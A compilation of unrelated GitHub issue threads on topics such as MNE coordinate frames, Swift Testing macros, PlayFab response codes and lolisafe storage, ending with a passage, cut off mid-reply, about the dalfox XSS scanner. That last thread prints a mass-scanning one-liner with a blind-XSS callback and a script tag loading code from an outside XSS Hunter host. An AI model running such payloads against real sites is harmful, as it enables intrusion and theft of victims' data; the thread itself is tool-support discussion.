Now let's consider the second transform: for this you need the lpa, rpa and nasion. It's digitized during the measurement in head space. These are available in raw.info['dig'] and read in using the digitization functions that @massich is working on. Now, you need to mark it in MRI space manually. Once you have the corresponding points, you can coregister them together. Headshape points can be used to further refine the coregistration.

nicely done. i'm a great teacher 😂

@jasmainak want to work on a tutorial for this for 0.21 in the next week or two? For the MRI coord frame you can now refer to https://github.com/mne-tools/mne-python/blob/master/tutorials/source-modeling/plot_background_freesurfer_mne.py, so really we "just" need a tutorial to document the sensor (MEG, EEG) coordinate frames, and say that the head_mri_t is covered in another related tutorial.

Thanks for pinging me @larsoner. Unlikely I'll have the time right now although I'd love to do it.
I need to properly sit down to think what should go into this. Maybe a good project for a 1-2 days of a coding sprint :-)

Removing the milestone for this -- this is another place that could be refactored to have this information:
https://mne.tools/dev/overview/implementation.html?highlight=head mri device#meg-eeg-and-mri-coordinate-systems
This and the plot_background_freesurfer_mne.py should probably cross-reference each other well, and hopefully not duplicate too much content.


Missing package qemu-guest-agent on some base images

We install this package on openSUSE and Alpine-based images, but every other one is missing it
Originally posted by @si458 in https://github.com/kairos-io/kairos/issues/796#issuecomment-1612202253

Does this include debian?

@si458 same issue with debian, I rewrote the ticket

@si458 indeed, we'll try to do a release tomorrow but depends on other bug fixes being ready too ... so yes if you can build yourself probably faster


Responses other than 200 and 400

If the response fails for any reason, a 400 Bad Request is received.

This isn't true. Here are some examples of other response codes I have received from Playfab:

Send a request without an X-EntityToken header to any endpoint that requires one and you will receive 401 Unauthorized
Attempt to call Get Asset Upload Url twice for the same asset and you will receive 409 Conflict
Attempt to call List Build Aliases with no build aliases defined and you will receive 404 Not Found

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 0aca1a26-91df-c104-619c-1e41dc568523
Version Independent ID: 23b57de3-a9ae-34c0-bec3-c38e710952e7
Content: API References - PlayFab
Content Source: playfab-docs/api-references/index.md
Product: playfab
GitHub Login: @joannaleecy
Microsoft Alias: joanlee

Get Asset Upload and List Build Aliases are MPS - X-entity token error should be under Player Services


autoResize(true) fails to restart resizing

Describe the bug
autoResize(true) fails to restart resizing
To Reproduce
Try it in the example folder
Expected behavior
Resizing should start working
Desktop (please complete the following information):

OS: MacOS
Browser: Chrome
Version: 5.1.4 & 5.2

Fixed in version 5.2.4

Released 5.2.4


Timer no longer stops

macOS Monterey; Python 3.9.9; rumps 0.3.0 and 0.40.
I am unable to stop or update timer object. Sanity checked against the example_timers.py and came across the same issue, where the timer cannot be stopped nor updated.

There is something wrong with this code, and I also met it.

Are these intel or M1 Chips?

So I don't remember my thought when I originally wrote that example script but it's misleading to say the least.
There are actually two timers, one that is created with @rumps.timer(1) and another that is created with rumps.Timer(a, 4). The controls in the menu are for the latter and they do work. You must start the timer before you can stop it or see an effect from changing the interval. All the while, the first timer is not effected by any of these manipulations. Once you click "Start timer", you can then click "All timers" and see that there are two separate ones. It looks like this:
[<Timer: [callback: 'a'; interval: 1; status: ON]>, <Timer: [callback: 'a'; interval: 4; status: ON]>]


Decrypt string

Hi,
I have a string that I want to decode: U2FsdGVkX1+MEhsbofUNj58m+8tu9ifAKRiY/Zf8YIw= and I have this key: 3841b8485cd155d932a2d601b8cee2ec .
I can't decrypt the string using AESCrypt-ObjC
Are there any more details that I should be aware about the encryption?
Thank you,
George

same question with me
i have encrypt code : uvr/kM/qDj38wphtyMFEog==
and key :  liuhuan25
i try to decrypt it, but doesn't work,

@georgepurusniuc  Did you solve the problem ?  I have the same problem now.

@evenluo I found a way and I will post a solution shortly

@georgepurusniuc Would you please let me know if you finish the post, thanks a lot!

Please check this:
https://github.com/X2Mobile/X2CryptoJS

Let me know if it works for you

Finally It works. Key point is: You have to encode your key with base64 encoding.

Great :)


2nd September

✅ Animations on the logo looks great
♻ But the contact me header should be aligned to the center
and Make sure the place holder are the same as the one in the figma template.

Thank you for your feedback.


Add swagger spec and include auth APIs and common APIs

Closes #352
This is a hand-coded Swagger specification of APIs in Pelican servers. For now, I included APIs for authentication and common APIs (/config, /health, etc.)
As a next step, we might want to programmatically generate this spec using annotations on handler functions, and there's existing Go package to handle spec generation for us: swaggo/swag
If you are using VSCode as your IDE, you can render the Swagger UI from this .yaml file by installing the OpenAPI (Swagger) Editor

@haoming29 Is there a reason you picked yaml over json?
I am supposed to consume this in the frontend so it will be more convenient for me to have it as json.

@haoming29 Is there a reason you picked yaml over json?
I am supposed to consume this in the frontend so it will be more convenient for me to have it as json.

@bbockelm suggests to use yaml to be more human-readable and I thought the swagger-ui npm package support .yaml by default? https://github.com/swagger-api/swagger-ui/blob/HEAD/docs/usage/configuration.md#configuration

Okay, yaml works for now. When this is autogenerated we should do JSON as well as yaml.
The npm package only consumes json, its not a hard translation but I don't see any reason to make it if we can auto generate the file. -> https://www.npmjs.com/package/swagger-ui-react

Okay, yaml works for now. When this is autogenerated we should do JSON as well as yaml.
The npm package only consumes json, its not a hard translation but I don't see any reason to make it if we can auto generate the file. -> https://www.npmjs.com/package/swagger-ui-react

That makes sense to me


Adjust function select

Right now function select for time looks like this

But showing just ‘month’, ‘day’, ‘hour’ might be sufficient
(and put the rest in an optional radio with select box)

Description is outdated, let's chat in person


For C# language, can you use the native JsonSerializer instead of Newtonsoft.Json?

Hi,
I've been using your VSCode extension for years. It's a great one.
I'd be even greater if you would switch to using System.Text.Json instead of Newtonsoft.Json.
Thank you!

Hi @johnib , this is already possible on the C# Renderer if you set the framework option to SystemTextJson


Add additional badges

Add the following badges:

Travis CI
Code Climate
Gemnasium (dependencies)

Coverage remained the same at 100.0% when pulling 587b71414a11cde0a8e4567be9590255eab9d3dc on add-badges into 9622f974955795f26ad7ae45bfabaa18c25a59e5 on master.

Coverage remained the same at 100.0% when pulling 239a79a917bb54cbaf895002ec9d140b5a8616ea on add-badges into 9622f974955795f26ad7ae45bfabaa18c25a59e5 on master.


Lean Symbol conversion issue

Hello,
I struggle understanding how to convert Lean Symbol into a symbol in format (BASE-QUOTE). I saw some implementations of ISymbolMapper. The naive approach would be to match BASE and then simply construct  the symbol with the new format. However, I don't understand what the format of Lean Symbol is. For instance, for BTC-USDT lean symbol is BTCUST which is not the same as BTCUSDT and this part is very confusing. Probably there are other pairs like that too.
Do you guys know where I can read what the format of Lean Symbol is for instance some ISO stuff etc? And any suggestions? Because what I saw in various brokerage implementations is that they simply have a list of known / unknown symbols and all bitfinex binance gdax etc brokerages they assume that their symbol is the same as the lean's symbol. They dont parse base and quote from that.
So could you let me know if there's a mechanism to split lean symbol into base quote?
Also, I need to know what the format of the lean symbols is. For instance, I see BTCUST instead of BTCUSDT for the first time
Thanks,
Mark

Binance probably has an error in the "Known symbol strings". Binance looks to be a copy-paste of Bitfinex. See Bitfinex has BTCUST pair. Lean has it. Lean doesn't have BTCUSDT pair AFAIU. But Binance simply maps its BTCUSDT to BTCUSDT. Not to BTCUST.

I'm talking about QuantConnect.Brokerages.Binance.BinanceSymbolMapper.KnownSymbolStrings

Ah looks like UST is the only currency exceptional to Bitfinex

Hey Mark!
We've recently refactored these crypto symbol mappers to be symbol-properties-database.csv driven see https://github.com/QuantConnect/Lean/pull/4888, we also added a new column for the exchange ticker, I hope it's clearer now. CLosing this issue, let us know otherwise


Corrected hic indexes

This fixes the issue with bower_components and core-element-name being replaced with the same string. Now you can tab between the two as intended.
Compare this to hip which has been working correctly.

Oh hey. Glad I decided to check this before submitting a duplicate pull request.
Kinda disappointed in the age of it though...


[FLINK-13371][coordination] Prevent leaks of blocking partitions

If force-release-on-consumption is enabled it is possible for blocking partitions to be leaked. For these partitions we rely on the consumer sending notifications for having consumed the partition, however the consumer may never be deployed successfully. In this case the partition is neither released by the task, nor by any other cleanup procedure since they all ignore partitions that are released on consumption.
Note that a similar issue can occur for pipelined partitions that are buffered in the producers side before a consumer was actually scheduled. This issue is not addressed by this commit.
The TaskExecutor now tracks all blocking partitions, to ensure they are cleaned up when the JM connection terminates or the TE shuts down.
The PartitionTracker now tracks all blocking partitions, to ensure they are cleaned up on job termination and vertex resets.
The execution now separately issues release calls for all produced partitions in case of a state reconciliation, where an execution was CANCELING but receives the notitification for being FINISHED. Since we arrive in a CANCELED state we release all partitions.
Additionally, the execution no longer issues release calls through the PartitionTracker if it reached a terminal state, but just removes the partitions from the tracker.

@azagrebin I've rebased the PR.


Any.Type issue with @Test

Description
I'm using name2 pattern at first. But then I thought I should refactor to use name1 pattern. But it will give me a strange compiler error.
Is this an expected unsupported feature like swiftlang/swift-testing#202 or a bug here.
struct DemoKitTests {
    @Test(
        arguments: [
            (type: Int.self, nominalName: "Int"),
            (type: String.self, nominalName: "String"),
        ]
    )
    func name1(type: Any.Type, nominalName: String) {
        #expect(API.name(type) == nominalName)
    }

    @Test
    func name2() {
        #expect(API.name(Int.self) == "Int")
        #expect(API.name(String.self) == "String")
    }
}

Expected behavior
Compile and test successfully.
Actual behavior
Compile error on language mode v5. (On v6 it is Any is not conform to Sendable)
xx.swift:17:4 Static method '__function(named:in:xcTestCompatibleSelector:displayName:traits:arguments:sourceLocation:parameters:testFunction:)' requires the types 'Any' and '(any Any.Type, String)' be equivalent

Steps to reproduce
See description field.
Or use the following demokit package
DemoKit.zip
swift-testing version/commit hash
Xcode 16.0.0
Swift & OS version (output of swift --version ; uname -a)
Swift 6 compiler with Swift 5 language mode

Swift Testing receives an array of [Any] and doesn't have the opportunity to do its own type checking.

Since we have the parameter signature here - (Any.Type, String), can we add some explicit type inference hint to the arguments variable type? (the variable c in the following example)
let a = (Int.self, "A") // Inferred as (Int.Type, String)
let b1 = [
    (Int.self, "Int"),
    (String.self, "String"),
] // Inferred as [Any] with an error "Heterogeneous collection literal could only be inferred to '[Any]'; add explicit type annotation if this is intentional"

let b2: [Any] = [
    (Int.self, "Int"),
    (String.self, "String"),
]

let c: [(Any.Type, String)] = [
    (Int.self, "Int"),
    (String.self, "String"),
]

Type inference occurs before the @Test macro is expanded. There's nothing we can add that's in the language today that would tell the compiler to infer a type other than [Any] here, and the signature of the test function itself does not (currently) participate in type inference for arguments to the macro.

Find a solution here - use as [(Any.Type, String)] after the Array Liternal
@Test(
    arguments: [
        (type: Int.self, nominalName: "Int"),
        (type: String.self, nominalName: "String"),
    ] as [(Any.Type, String)]
)
func name1(type: Any.Type, nominalName: String) {
    #expect(API.name(type) == nominalName)
}

Although the original reporter of this issue identified a workaround (explicitly typing the expression using as), I think we should pursue some kind macros enhancement to automate this, since users of Swift Testing in particular hit it fairly often. In particular, I think it would be great if there were a way for an attached macro such as @Test to include, as part of its declaration, that the types of arguments passed to some of its parameters (arguments: ...) should use the parameter types of the declaration the macro is attached to as a hint.

This is not something we can do in Swift Testing today because the failure happens before macro expansion (because the type inference on the array resolves to [Any] instead of [any Sendable] or [Any.Type].) I know I'd filed a bug against macros ages ago asking for some way to infer types more betterer but I do not know where it ended up. @DougGregor do you happen to recall that issue/radar?

There was some discussion at one point about being able to reference the enclosing Self type within the macro declaration as a way to help type inference, but it didn't go anywhere and I don't think that's what you mean. This would be a generalization of that (which was effectively constraining based on the type of the self parameter) to all of the parameter types. For example, let's imagine that ParameterType would magically be provided with the types of all of the parameters to the function to which this @Test macro is attached. Maybe the macro looks like this:
@attached(peer)
@_documentation(visibility: private)
public macro Test<C, each ParameterType>(
  _ traits: any TestTrait...,
  arguments collection: C
) = #externalMacro(module: "TestingMacros", type: "TestDeclarationMacro")
  where C: Collection, C.Element = (repeat each ParameterType)

and if you attached it to a function like this:
    @Test(
        arguments: [
            (type: Int.self, nominalName: "Int"),
            (type: String.self, nominalName: "String"),
        ]
    )
    func name1(type: Any.Type, nominalName: String) {
        #expect(API.name(type) == nominalName)
    }

ParameterType would get Any.Type, String, so the collection C would have the element type (Any.Type, String).
This would all need language design and I don't know if it's worth doing, but I think it could work.


AFN?

Source
https://v3.myafn.dodmedia.osd.mil/
Notes
Seems easy enough. Nice json formatted responses.
Thanks,
Chris

The guide is now available at this link:
https://iptv-org.github.io/epg/guides/us/myafn.dodmedia.osd.mil.epg.xml.gz


controls-on-top those not work

Hi,
I have the following code break-crumb controller those not change

Hi Calvin,
Thanks for your feedback. I apologize for the error in my component. I haven't worked on this in a while. Currently, I am on a contract that is sucking up all my time. Please feel free to do pull request if you come up with a fix.
Cheers,
Greg

Thank will do.


[Build] High Memory Usage During Compilation of Chip-tool or Sample App

STEPS Followed

source scripts/bootstrap.sh
source scripts/activate.sh
For Chip-tool :
scripts/examples/gn_build_example.sh examples/chip-tool out/chip-tool 'chip_mdns="platform" chip_inet_config_enable_ipv4=false'
For Sample app :
scripts/examples/gn_build_example.sh      examples/all-clusters-app/linux/      examples/all-clusters-app/linux/out/all-clusters-app   chip_inet_config_enable_ipv4=false

Platform
raspi
Build issue(s)
Memory usage is excessively high, even though I only have the connectedhomeip directory in my device. I am unable to successfully build, or it takes an extended amount of time to compile the chip-tool/Sample app with 4GB RAM. It requires at least a device with 8GB RAM to achieve the build without encountering issues.

Video clip : Tried to rebuild with same command you can see the build gets hanged in Device with 4GB RAM
https://github.com/project-chip/connectedhomeip/assets/95559513/570165b2-ae4c-46c3-b246-272ee3c5b7f0

chip-tool has a very large translation unit, which includes headers that cover all commands/attributes in all clusters in Matter.
The high memory use during compilation is expected given the current structure of the code.

Swapping memory helped in building without any issues. Hence closing this issue

Swapping memory helped in building without any issues. Hence closing this issue


Usage report updated for analyses as collections

Fixes #915
Review Checklist

Tests were added to cover all code changes
Documentation was added / updated
Code and tests follow standards in CONTRIBUTING.md

Codecov Report

Merging #930 into master will decrease coverage by <.01%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master     #930      +/-   ##
==========================================
- Coverage   90.19%   90.19%   -0.01%
==========================================
  Files          48       48
  Lines        6413     6412       -1
==========================================
- Hits         5784     5783       -1
  Misses        629      629

Flag
Coverage Δ

#python
90.19% <100%> (-0.01%)
:arrow_down:

Impacted Files
Coverage Δ

api/handlers/reporthandler.py
94.21% <100%> (-0.02%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4958909...248446c. Read the comment docs.

Final changes look good, feel free to merge 👍


[Skype For Business] Skype for Business could not reach the bot. Please contact admin of the bot for help.

Bot Info

SDK Platform: .NET
SDK Version: 3.15
Active Channels: Skype For Business
Deployment Environment: Local Environment with the emulator and ngrok

Issue Description
When trying to chat with Skype for business BOT I get, "Skype for Business could not reach the bot. Please contact admin of the bot for help." error sometimes. It usually happens on the first message and after that, it works normally. I have tried debugging this issue with ngrok but in such cases, I receive this message even before I get an activity locally. It is working fine on other channels such as web chat.
Code Example

Reproduction Steps

Setup Skype for Business channel for your BOT.
Start a conversation with the BOT.

Expected Behavior
BOT should reply normally as it does in local and webchat environment.
Actual Results
We get, "Skype for Business could not reach the bot. Please contact admin of the bot for help." error message.

Is there any update on this?

Any updates?

I am now having this too ? Any updates friends?

Thank you for opening an issue against the Bot Framework SDK v3. As part of the Bot Framework v4 release, we’ve moved all v3 work to a new repo located at https://github.com/microsoft/botbuilder-v3. We will continue to support and offer maintenance updates to v3 via this new repo.
From now on, https://github.com/microsoft/botbuilder repo will be used as hub, with pointers to all the different SDK languages, tools and samples repos.
As part of this restructuring, we are closing all tickets in this repo.
For defects or feature requests, please create a new issue in the new Bot Framework v3 repo found here:
https://github.com/microsoft/botbuilder-v3/issues
For Azure Bot Service Channel specific defects or feature requests (e.g. Facebook, Twilio, Teams, Slack, etc.), please create a new issue in the new Bot Framework Channel repo found here:
https://github.com/microsoft/botframework-services/issues
For product behavior, how-to, or general understanding questions, please use Stackoverflow.
https://stackoverflow.com/search?q=bot+framework
Thank you.
The Bot Framework Team


Added Attachment Functionality to Emails

Fixes Issue #337
Things Changed:

Created functionality for attach_attachments() to create a directory to the attachment in the new path
Added a field to the Email Log model to save the attachment path
Created the "Choose File" UI on the email page
Created a directory in static for email attachments --> static/files/attachments/{attachmentName}

Files Changed:

app/logic/emailHandler.py
app/models/emailLog.py
app/static/files/attachments/init.py
app/templates/emailModal.html

Merge conflict with the recent email handler changes from Paw and Finn


Added regex support on expectedResponses

I'm trying to integrate a regexp type of message so that you can test that the bot response matched the regexp.
I'm thinking of subclassing the Message class and adding a regexp property so that the match is done against that property instead of the text.
Do you think this can be useful of have another alternative ? From what I saw all is based on the IMessage interface so subclassing seems the correct way at first glance.

this is definitely a good idea, but will potentially be non trivial to implement for the more advanced cases. I'll try to put some time into it. I also happily accept PRs

Awesome, we can collaborate on this if you want to. I'll start some work and push a new branch.

@microsoftly I got it running very dirty for the moment. The main problem I'm having is with the deep compare that is done for the address.

@bilby91 The approach I would take would actually reduce some unintended technical debt in the project, but is a bit more complex. ( I had originally hacked this together as a proof of concept and needed to refactor it overnight for a demo -> see the v1 release)
I would start by moving the comparison out of the utils file. Either making new files or make a single messageComparisons file with all necessary comparison functions.
The basic structure I envisioned was the BotTester's sendMessageToBot packages the messages and expectations for the MessageService. The MessageService then manages sending messages to the bot then intercepting the response and comparing the response.
A new OutgoingMessageComparator class could be used as an intermediary instead of passing expectedResponses: IMessage[][] to the MessageService's sendMessageToBot. The BotTester would then build the ExpectedMessages that are passed to the OutgoingMessageComparator
something like this (ignoring file structure)

enum ExpectedMessageType {
    String,
    IMessage,
    Regex
}

type PossibleExpectedMessageCollections = string[] | IMessage[] | RegExp[];

function getExpectedMessageType(expectedResponseCollection: PossibleExpectedMessageCollections): ExpectedMessageType {

}

class ExpectedMessage {
    // if length > 1, random response
    private readonly expectedResponseCollection: PossibleExpectedMessageCollections;

    constructor(expectedResponseCollection: PossibleExpectedMessageCollections) {
        expect(expectedResponseCollection, 'expected response collections cannot be empty').not.to.be.empty;

        this.expectedResponseCollection = expectedResponseCollection;
    }

    public checkForMessageMatch(outgoingMessage: IMessage): void {
        switch (getExpectedMessageType(this.expectedResponseCollection)) {
            case ExpectedMessageType.String:
                this.checkMessageTextForExactStringMatch(outgoingMessage);
                break;
            case ExpectedMessageType.Regex:
                this.checkMessageTextForRegex(outgoingMessage);
                break;
            case ExpectedMessageType.IMessage:
                // doing this check will highlight if the diff in text instead of a large IMessage diff
                this.checkMessageTextForExactStringMatch(outgoingMessage);
                this.deepMessageMatchCheck(outgoingMessage);
            default:
        }
    }

    private checkMessageTextForExactStringMatch(outgoingMessage: IMessage): void {
    }

    private checkMessageTextForRegex(outgoingMessage: IMessage): void {

    }

    // add on additional checks here (e.g. address match, attachment match, etc ...)
    private deepMessageMatchCheck(outgoingMessage: IMessage): void {

    }
}

class OutgoingMessageComparator {
    private readonly expectedMessages: ExpectedMessage[];

    constructor(expectedMessages: ExpectedMessage[]) {
        this.expectedMessages = expectedMessages;
    }

    /**
     * compares the outgoing message against the expected message. The type of check performed is dependent on the expected message type
     */
    public compareOutgoingMessageToExpectedResponses(outgoingMessage: IMessage): void {
        const nextMessage = this.getNextExpectedMessage();

        if (nextMessage) {
            nextMessage.checkForMessageMatch(outgoingMessage);
        }
    }

    /**
     * @returns true if the test expects more messages, false otherwise
     */
    public expectsAdditionalMessages(): boolean {
        return this.expectedMessages.length !== 0;
    }

    private getNextExpectedMessage(): ExpectedMessage {
        return this.expectedMessages.shift();
    }
}

@microsoftly I like the idea. While doing the changes it was clear that a lot of stuff could encapsulated better. I couldn't find the v1 release/branch that you mentioned :(.
Do you want me to make changes to my PR #4  in order to merge it ? If you want to go with this refactor maybe you can merge it and I can help you out with it, I'm interested.
Another thing that I think it would be cool to add is support for multiple testing libraries. We are using jest in our bot project. What do you think ?

I think adding support for more frameworks is a good idea, but the entire repo is somewhat flaky as it is. I think solidifying the logic and bettering the docs would be the first step; its still in heavy flux.
The v1 split was not properly versioned, the diff is in a PR.
I was working on my own branch for the changes but am getting stuck in places that I don't quite understand. I'll push it up and we can work on it there. Give me some time, I can only push it after hours

Matthew,
Awesome!
I'm out of town for the weekend. Will catch up next and we can continue the work 💪
Martín Fernández
On Thu, Aug 24, 2017 at 16:53 Matthew Schwartz
<
mailto:Matthew Schwartz<EMAIL_ADDRESS>
wrote:

a, pre, code, a:link, body { word-wrap: break-word !important; }
I think adding support for more frameworks is a good idea, but the entire repo is somewhat flaky as it is. I think solidifying the logic and bettering the docs would be the first step; its still in heavy flux.
The v1 split was not properly versioned, the diff is in a PR.
I was working on my own branch for the changes but am getting stuck in places that I don't quite understand. I'll push it up and we can work on it there. Give me some time, I can only push it after hours
—
You are receiving this because you were mentioned.
Reply to this email directly,
https://github.com/microsoftly/BotTester/issues/3#issuecomment-324739377
, or
https://github.com/notifications/unsubscribe-auth/ACGV95b-ytnQdOazqtUWLcZKutdPtXFvks5sbdSsgaJpZM4PAVmt
.

@bilby91  I've added support for regex, substantially increased documentation, and changed the api to use rest params for sending messages to the bot. See the PR for changes.

@bilby91 I've opened up a new issue to track adding support for other test libraries #7


[GHSA-xc9x-jj77-9p9j] Nokogiri update packaged libxml2 to v2.12.5 to resolve CVE-2024-25062

Updates

Affected products
Summary

Comments

This security release is a backport to the unsupported v1.15.x branch. Current stable is v1.16.x, which addressed the referenced CVE in v1.16.2 on 2024-02-04.

https://github.com/sparklemotion/nokogiri/releases/tag/v1.15.6
https://groups.google.com/g/ruby-security-ann/c/hh2jc5ef3aI/m/ZNuHuhVoAAAJ?utm_medium=email&utm_source=footer&pli=1

Hi there @flavorjones! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository.
This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory

The canonical GHSA was already updated several days ago to contain the updated information:
https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xc9x-jj77-9p9j
Why is this database not automatically synchronized? This PR should be closed in favor of just synchronizing with the canonical GHSA

Sorry, I don't belong to GitHub, so I don't know the details.
GHSA (which is managed by GitHub) update seems to come in after the review has been approved.
Please support. @KateCatlin

Hi @flavorjones, all updates to advisories in the GitHub Advisory Database are reviewed by a GitHub analyst to ensure the data is properly represented.  For example, in this instance, the vulnerability version ranges needed to be manually updated.


[FEATURE REQUEST] Multi Level subfolders

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Ok, well now I am hosting over 80K of files on the lolisafe folder which kind of kills the Performance, you can Understand what I mean, the Inode usage is killing it.
Describe the solution you'd like
A clear and concise description of what you want to happen.
Is there any Possibility, that we can add an Multi-Level Directory? so if I upload a file, for example that the file is called /upload/slr93adf.jpg that we can define a level of subdirs like this: /upload/sl/r9/slr93adf.jpg and then merge it back again with the Nginx location? Maybe this will improve the Performance with big installs...
Additional context
Add any other context or screenshots about the feature request here.
Ok No screenshots here, because I already described it in detail!

This is actually something I've been considering for the next version, at least for users. The idea would be to have folders based on the uuid of users and their files in there, making it lighter on the main upload folder. As for public uploads, would probably map them to the same folder regardless.
Gotta investigate how feasible this would be with nginx to have the least latency possible when looking for the file in the correct folder to retrieve it though.

I can say, that me (Single User for one thing) has over 5S Response with an SSD samsung evo 860 500gb and an I7 4770K CPU in my Server... not really good perf for this less files, but well its ext4, so what fcks given...
I rather would use an multi folder setup based on the Filename, and its not that bad to Implement I think

Huh, I actually wasn't aware this was an issue (low-key implying my safe isn't popular enough to warrant so many uploads). Though I made Cloudflare to full-cache my uploads folder, so there's that.
I kinda like the idea of using the first 2 letters of the filenames as sub dir names:
abcd.png -> /uploads/files/a/b/abcd.png
There won't be much rewrite logic required for nginx to lookup the actual file paths that way, I suppose?
Also I prefer to move all those sub dirs into another subdir (named files for example) to avoid the horror when navigating to uploads directory to get a brief glance of the state of thumbs, chunks, etc dirs.
Anyway, I'll be keeping this in mind.

The new lolisafe version defaults to using node to serve the files instead of nginx, so this is something that I'm looking into right now.
The reason behind this is easier setup, and the performance difference is negligible so if I can achieve an easier setup for better user experience that doesn't hinder the performance of serving the files, sounds like a good deal.
I'm open to suggestions though, first 4 letters split in 2 folders sound good at the moment since just t/5 will get populated pretty fast leading to the same problem in the future.

Yeah, seems to be understandable, well, I will still keep serving it with Nginx, because I have a Main-Upload Server and another replicated one that are in LB config.
But I can understand that you said that you want ab/cd as folder structure

first 4 letters split in 2 folders sound good at the moment since just t/5

Well, if I find out how to serve this via Nginx, I will let you know.

This is not something we will pursue for the time being with the current v5 version


Uncaught SyntaxError: Unexpected token const

What is the problem?

This should be fixed in an update, was it not?

Oh, sorry, I'm not very smart.

No problem, I don't blame you either since it's being updated so often with some broken commits.


Update list

Update the workshop list on the www.p...py.org page (Events).
cc @jburel

one for eastbio?

@jburel added EastBio

Should be consistent about 1/one and 2/two.

Everything looks good. Merging and redeploying website


Add "mirror" renderer option

Similar to "reverse", but instead of inverting the progress, it will simply reverse the RGB values in each rendered frame of the effect, creating a mirror image.

Not planning on doing this any more, may revisit in the future.


Blind XSS payload is ignored

Summary
Hello
First of all thanks for the awesome tool , I wanted to make some BXSS attack oneliner and I used your tool to perform such action
Description
XSS get triggered but my blind XSS is ignored ..

After visiting the links the payload used is not my BXSS payload
Command
echo "testphp.vulnweb.com" |  waybackurls | anti-burl | grep -Eo "https?://[^\"\\'> ]+" | grep "=" | grep -v ".jpg\|.png\|.css\|.js" | dalfox pipe -b https://sicksec.xss.ht

Requirement
go get -v github.com/tomnomnom/waybackruls
go get -v github.com/tomnomnom/hacks/anti-burl
System Config
Ubuntu 18.04
Go1.14
Dalfox 1.1.2

Hi bro! thank you for submit :D
First, I don't think I understand the point exactly, do you mean when I approach the link shown in Verify?
--blind option is an option to test the blind XSS together with existing testing logic. And in the case of blind XSS, it doesn't appear in the results because it doesn't perform a reflected and verify check (the trigger should be obtained through your blind xss callback address).
If it's a different question than what I said, please let me know!

Thank for coming back to me @hahwul
so my point is using the oneliner I showed you I wanted to test for XSS in the wild and when it find one I wanted to use your payload with my BXSS  so that's what the flag -b is for
In that case is -b and --blind are the same of differents ?
Regards

@amiralkizaru
Then the blind xss will be alerted to the email set in your xss hunter when triggered (as in the image below).

There's no difference between -b and --blind, it's just a short flag and a long flag one.
Oh, and if you want to see if the blind xss code was transmitted normally --proxy option can be passed to buff or zap for checking!
e.g
$ dalfox url {target} --proxy http://<IP_ADDRESS>:8080 -b yours.xss.ht

@amiralkizaru
Feel free to let me know if you have any more questions!

@hahwul
I'm kinda using VPS so I can't send data to burp from it
I tried but still same not receiving anything on my XSSHunter
Can you use my payload sicksec.xss.ht
Check here
https://vimeo.com/420004342

@amiralkizaru
I saw the video you sent me. I think it's a natural result. Because the blind xss code has never been triggered. When a vulnerable page is rendered in server-side or when a blind xss code is inserted in another administrator page, etc., it is triggered by the user using that page. The payload you pasted is the reflected xss payload.

As I said above, the blind payload is not checked reflected/verify. Because the attacker doesn't have to see if the blind xss is reflected. So you can't check the success of the blind xss through the dalfox. When someone calls your blind xss code, the data will come in through the XSSHunter.
If you want to know if payload is actually transmitted, look for packet capture tools such as wireshark or tcpdump.
See the code below! CALLBACKURL replaced with the your blind xss url.
https://github.com/hahwul/dalfox/blob/master/pkg/scanning/payload.go#L21

@amiralkizaru
If you just want to check the receive results with XSSHunter, you open your blind XSS code on browser.  (you're the attacker and the victim)
<script src=//sicksec.xss.ht></script>

If you don't understand, tell me!

Hello @hahwul
I actually understood what you meant and thank you for taking the time to reply to me everything is clear the only thing I'm still confused about is
I though that when you add your blind XSS this process you explain will be done automatically is the script says that the XSS has been triggered mean that he actually checked that
Which means that it should be on my XSS Hunter and correct me if i'm wrong
Regards

Hi @amiralkizaru
Oh, are you confused because of the triggered log from display?  Dalfox basically checks the object based on DOM and reflected check in response. So the trigger on the screen means it was detected in the DOM check, which means it's very likely that it's actually a valid payload(not blind). It doesn't check the trigger of blind xss directly from the dalfox.
It is up to XSSHunter to accept callback when someone triggers on the blind xss. Dalfox is sending an attack code with your callback address to all parameters to deliver. Please refer to it!
I don't know if I understood your opinion correctly but it would have helped you. Let me know if you got it wrong :D

The same problem. I have tried the following command and nothing was changed in my xss hunter panel.
echo "https://xss-game.appspot.com/level1/frame?query=test" | dalfox pipe -blind https://<test>.xss.ht -o result.txt

Hi @ceylanb :D
Is the page vulnerable to blind xss? As mentioned above, blind xss need the victim to access the XSS code for trigger.
I do not judge that this is a problem. The -b option is to pass the blank xss code together for blind xss testing. The scanner should never trigger this. What appears on the screen is a DOM verify(trigger)/reflected result of basic xss testing, and the blind xss is supposed to cross over to the xsshunter when triggered by the actual victim.
Conversely, if the dalfox triggers the blind xss, that's really a bad idea and a problem. Scanners only deliver blind xss. trigger is victim role.

@hahwul
In order to trigger the Blind XSS as you said you need the victim to visit your page with the payload to see that happen which is most like to happen

@hahwul I got the point. What I understand is that to trigger the blind XSS, "Stored XSS" is needed.

@amiralkizaru
That's right. Exactly. Eventually, the blind xss is stored somewhere, waiting for the victim to approach!
So you just need to pass the payload to all parameters, whether or not the XSS code is reflected to be stored somewhere.  Because we don't know where to store it. That's blind xss. Do you have any more questions?
@ceylanb
Yeah, it's similar to stored xss, but if there's a difference, if we can check and know where xss code, it's "stored xss" and if we can't, it's "blind xss".
So, for blind xss, we are just meticulously delivering payloads to every input section.

@ceylanb @amiralkizaru
So that's why I didn't think it was an issue when this thread was created. For Blind XSS, the scanner's job is to deliver the payload meticulously, and if the scanner randomly browses the XSS code and induces callback to the XSSHunter, it's a complete false positive.
As mentioned above, if you want to see payload coming through XSShunter, you can open Blind XSS payload directly on the web page!
https://www.w3schools.com/tryit/tryit.asp?filename=tryhtml_default

If you have any more questions, please comment :D

@hahwul
Thank's again for the reply I think it's better if you can record a quick demo when you play the attacker and victim role to see how you trigger the payload and make it in XSSHunter because for me the payloads are not triggered even the generation doesn't have my payload on it

That's what I get when I visit the page
Opening the payload triggered here doesn't show anything on my xsshunter

Hi @amiralkizaru
